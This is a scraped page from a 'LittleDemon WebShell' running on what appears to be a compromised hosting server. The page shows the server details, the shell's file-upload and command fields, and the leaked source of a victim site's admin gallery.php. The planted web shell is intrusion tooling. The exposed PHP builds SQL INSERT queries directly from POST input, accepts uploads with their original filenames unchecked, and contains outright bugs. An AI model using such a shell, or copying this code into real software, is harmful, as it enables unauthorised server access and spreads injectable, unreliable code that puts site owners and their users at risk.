LittleDemon WebShell


Linux server27.hostingraja.org 2.6.32-954.3.5.lve1.4.93.el6.x86_64 #1 SMP Wed Oct 4 17:04:29 UTC 2023 x86_64
Path : /home/udaipurk/www/websites/samaj/samaj/admin/
File Upload :
Command :
Current File : //home/udaipurk/www/websites/samaj/samaj/admin/gallery.php

<?php
include('../config.php');

//Create Album

if (isset($_POST['create-album'])) {
    $albumName = $_POST['album-name'];

//check if an album name has been entered, if empty display an error messages
    if (empty($albumName)) {
        $albumNameError = "Album name can not be empty";
    } else { //insert into database
        $sql = "INSERT INTO albums(name) VALUES('$albumName')";
        $query = mysqli_query($link,$sql);

        if ($query) {
            $albumCreateSuccess = "Album successfully created.";
        } else {
            $albumCreateError = "Album could not be created, please try again later.";
        }
    }
}

//Upload Photo

if (isset($_POST['upload-photo'])) {
    $i=0;
    $caption = $_POST['caption'];
    $album = $_POST['album'];
    foreach($_FILES['photo']['name'] as $photos ){
    $photo[] = $photos;
    $temp[] = $_FILES['photo']['tmp_name']; //temporary file
    
    $path[] = "photos/" . $_FILES['photo']['name'][$i];
    
    ++$i;
    }
    
//check if a caption has been entered or photo chosen, if empty display an error messages
    if (empty($caption)) {
        $captionError = "Caption can not be empty";
    }
    if (empty($photo)) {
        $photoError = "You must select a photo to upload";
    }
//no errors, insert into the database
    $date = date();
    for($j=0;$j< $i;$j++){
        
    if (move_uploaded_file($temp[0][$j], $path[$j])) {
        $sql = "INSERT INTO photos(path, caption, album, date_taken) VALUES('$path[$j]', '$caption', '$album','$date')";
        $query = mysqli_query($connect, $sql);
        if ($query) {
            $photoUploadSuccess = "Photo uploaded successfully";
        } else {
            $photoUploadError = "Photo not uploaded, try again later";
        }
    }
    }
}
include 'header.php';
?>

        <div id="wrapper">
            <div class="albums">
                <h3>Albums</h3>
                <span class="success"></span>
                <form action="" method="post">
                    <table>
                        <tr>
                            <td><label for="album-name">Album Name</label></td>
                            <td><input type="text" name="album-name"><span class="error"></span></td>
                        </tr>
                        <tr>
                            <td></td>
                            <td><input type="submit" name="create-album" value="Create Album"></td>
                        </tr>
                    </table>
                </form>
                <span class="error"></span>

                <?php
                $sql = "SELECT * FROM albums";
                $query1 = mysqli_query($link,$sql);
                if(!$query1){
//                $count = mysqli_fetch_row($query1); //count the number of rows in the albums table
//                if ($count == 0) {
                    echo "You have not created any album";
                } else {
                    echo "Albums you have created:";
                    echo "<ul>";
                    while ($albums = mysqli_fetch_assoc($query1)) {
                        echo "<li>" . $albums['name'] . "</li>";
                        echo '<a href="">Delete</a>';
                    }
                    echo "</ul>";
                }
                ?>
            </div>
            <div class="photos">
                <h3>Photos</h3>
                <div class="upload-photo">
                    <span class="success"></span>
                    <form action="" method="post" enctype="multipart/form-data">
                        <table>
                            <tr>
                                <td><label for="caption">Caption</label></td>
                                <td><input type="text" name="caption"><span></span>
                                </td>
                            </tr>
                            <tr>
                                <td><label for="album">Select Album</label></td>
                                <td>
                                    <select name="album">
                                         <option value="">Select Album</option>
                                     <?php
                                      $sql = "SELECT * FROM albums";
                                        $query5 = mysqli_query($link,$sql);
                                        while ($albums = mysqli_fetch_assoc($query5)) {
                                            $aid = $albums['id'];
                                            echo "<option value='$aid'>" . $albums['name'] . "</option>";
                                        }
                                        ?>
                                       
                                    </select>
                                </td>
                            </tr>
                            <tr>
                                <td><label for="photo">Choose Photo</label></td>
                                <td><input type="file" name="photo[]" multiple=""><span></span>
                                </td>
                            </tr>
                            <tr>
                                <td></td>
                                <td><input type="submit" name="upload-photo" value="Upload Photo"></td>
                            </tr>
                        </table>
                    </form>
                    <span class="error"></span>
                </div>
                <div class="photo-gallery">
                    <?php
//                    $sql1 = "SELECT * FROM album";
//                    $query2 = mysqli_query($link,$sql);
//                    while ($albumId = mysqli_fetch_assoc($query2)) {
//                        $ID = $albumId['id'];
//                        $albm = $albumId['name'];
//
//                        $sql2 = "SELECT * FROM photos WHERE album = '$ID'";
//                        $query3 = mysqli_query($link,$sql2);
//                        while ($photos = mysqli_fetch_assoc($query3)) {
//                            $cap = $photos['caption'];
//                            $source = $photos['path'];
//                            ?>
                            <!--<div class="thumbnail">-->
                                <?php //echo $cap;  ?>
                                <!--<img src="//<?php // echo $source; ?>">-->
                                <?php //echo "Photo uploaded to: "."<b>".$albm."</b>";  ?>
                            <!--</div>-->
                            <?php
//                        }
//                    }
//                    $sql3 = "SELECT * FROM photos";
//                    $query4 = mysqli_query($link,$sql3);
//$count = mysqli_num_rows($query4); //count the number of rows in the photos table
//                    if ($count == 0) {
//                        echo "<p>" . "You currently have to no photos." . "</p>";
//                    }
                    ?>
                    <div class="clear"></div>
                </div>
            </div>
        </div>
<?php                    include 'footer.php';
   

LittleDemon - FACEBOOK
[ KELUAR ]